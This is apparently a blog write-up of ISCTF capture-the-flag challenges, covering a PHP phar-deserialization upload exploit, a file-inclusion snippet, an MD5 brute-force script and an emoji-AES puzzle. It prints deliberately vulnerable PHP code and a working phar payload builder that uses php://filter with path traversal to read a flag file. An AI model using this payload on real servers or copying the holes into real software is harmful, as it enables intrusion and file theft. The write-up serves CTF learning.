• ISCTF


    upload

    upload,一道phar文件上传题目

    1. class upload{
    2. public $filename;
    3. public $ext;
    4. public $size;
    5. public $Valid_ext;
    6. public function __construct(){
    7. $this->filename = $_FILES["file"]["name"];
    8. $this->ext = end(explode(".", $_FILES["file"]["name"]));
    9. $this->size = $_FILES["file"]["size"] / 1024;
    10. $this->Valid_ext = array("gif", "jpeg", "jpg", "png");//限制了后缀的类型
    11. }
    12. public function start(){
    13. return $this->check();
    14. }
    15. private function check(){
    16. if(file_exists($this->filename)){
    17. return "Image already exsists";
    18. }elseif(!in_array($this->ext, $this->Valid_ext)){
    19. return "Only Image Can Be Uploaded";
    20. }else{
    21. return $this->move();
    22. }
    23. }
    24. private function move(){
    25. move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$this->filename);
    26. return "Upload succsess!";
    27. }
    28. public function __wakeup(){
    29. echo file_get_contents($this->filename);
    30. }
    31. }
    32. class check_img{
    33. public $img_name;
    34. public function __construct(){
    35. $this->img_name = $_GET['img_name'];
    36. }
    37. public function img_check(){
    38. if(file_exists($this->img_name)){
    39. return "Image exsists";
    40. }else{
    41. return "Image not exsists";
    42. }
    43. }
    44. }

    public function __wakeup(){
            echo file_get_contents($this->filename);
        }这一段可以看出file_get_contents触发phar序列化,然后我们构造就可以

    1. class upload{
    2. public $filename;
    3. }
    4. $a = new upload();
    5. $a->filename="php://filter/read=convert.base64-encode/resource=../../../../flag";
    6. $phar = new Phar('aaaaaaa.phar');
    7. $phar->startBuffering();
    8. $phar->setStub('GIF89a'.'');
    9. $phar->setMetadata($a);
    10. $phar->addFromString('test.txt', 'test');
    11. $phar->stopBuffering();
    12. ?>

    也就试路径这麻烦一点

     easy_upload easy_upload

    扫描目录扫到一个www.rar

    1. 2 error_reporting(0);
    2. 3 header("Content-Type:text/html;charset=utf-8");
    3. 4 $file = $_GET['file'];
    4. 5 if (isset($file)) {
    5. 6 if (preg_match("/flag|\.\.|\/\//i", $file)) {
    6. 7 echo "no hack";
    7. 8 exit();
    8. 9 }
    9. 10 include $file;
    10. 11 } else {
    11. 12 include("upload.php");
    12. 13 }

    MISC

    《MD5脏了》

    1. g0at无意间发现了被打乱的flag:I{i?8Sms??Cd_1?T51??F_1?}
    2. 但是好像缺了不少东西,flag的md5值已经通过py交易得到了:88875458bdd87af5dd2e3c750e534741

    I{i?8Sms??Cd_1?T51??F_1?}

    因为题目提交的flag格式为,ISCTF{},可以看出用栅栏密码

    栏数为5,然后需要爆破得到flag,本来直接套了7层循环,呃呃呃太大了跑不出来,看见了一个师傅写的脚本真的想不到,但是也有一个局限性,必须是数字才可以使用

    1. for($i = 0;$i<99;$i++){
    2. //如果字符串的长度为1,就在前面填充一个0
    3. if(strlen($i)==1){
    4. $i ='0'.$i;
    5. }
    6. for($b = 0;$b<99;$b++){
    7. //如果字符串的长度为1,就在前面填充一个0
    8. if(strlen($b)==1){
    9. $b ='0'.$b;
    10. }
    11. for($c = 0;$c<999;$c++){
    12. //如果字符串的长度为1,就在前面填充一个0
    13. if(strlen($c)==1){
    14. $c ='00'.$c;
    15. //如果字符串的长度为2,就在前面填充一个00
    16. }else if(strlen($c)==2){
    17. $c ='0'.$c;
    18. }
    19. $num = "ISCTF{md5_is_11".$i.'1'.$b.'8'.$c.'}';
    20. if("88875458bdd87af5dd2e3c750e534741"==md5($num)){
    21. echo '密码为'.$num;
    22. }
    23. }
    24. }
    25. }

     可爱的emoji

    下载文件需要解压,密码

     根据提示进行爆破,前三个是KEY,后面五个字符为字母

     

     解压出的文件都是,emoji表情包,然后进行emoji-aes

    然后根据KEYISAES,,所以密钥是AES

    获得flag

  • 相关阅读:
    火车头采集器文章组合聚合
    JVM PC寄存器和虚拟机栈
    【SSL 1589】汉明距离(NTT)
    央行副行长:比特币是加密资产,是一种投资工具或替代性投资 2021-04-20
    python自我学习 二 05 下载图片链接
    Android设计模式--原型模式
    JS hook 3种方法
    【计算机基础】Git从安装到使用,详细每一步!扩展Github\Gitlab
    【C语言】指针初阶
    SpringBoot集成Kafka低版本和高版本
  • 原文地址:https://blog.csdn.net/qq_62046696/article/details/127802389